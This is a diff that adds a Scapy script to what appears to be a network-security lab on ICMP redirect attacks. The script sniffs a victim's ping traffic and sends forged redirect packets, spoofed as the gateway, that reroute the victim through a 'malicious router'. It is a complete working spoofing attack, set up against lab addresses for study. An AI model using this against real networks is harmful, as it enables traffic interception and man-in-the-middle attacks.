finished lab icmp

ICMP_Directing/Labsetup/volumes/task1_final_try.py

@@ -0,0 +1,22 @@
+#!/usr/bin/python3
+from scapy.all import *
+import socket
+
+victim_ip = '10.9.0.5'
+target_ip = '192.168.60.5'
+gateway_ip = '10.9.0.11'
+malicious_router = '10.9.0.111'
+
+# 使用 IP 字符串，Scapy 应该能处理。如果不行，尝试 hex
+def send_redirect(pkt):
+    if ICMP in pkt and pkt[ICMP].type == 8:
+        print(f"Redirecting {pkt[IP].src} -> {pkt[IP].dst} via {malicious_router}")
+        ip = IP(src=gateway_ip, dst=victim_ip)
+        icmp = ICMP(type=5, code=1)
+        icmp.gw = malicious_router
+        # 精简负载：原始 IP 头 + 8 字节原始数据
+        load = bytes(pkt[IP])[:28] 
+        redirect_pkt = ip/icmp/IP(load)
+        send(redirect_pkt, iface='eth0', verbose=False)
+
+sniff(iface='eth0', filter=f"icmp and src {victim_ip} and dst {target_ip}", prn=send_redirect, count=20)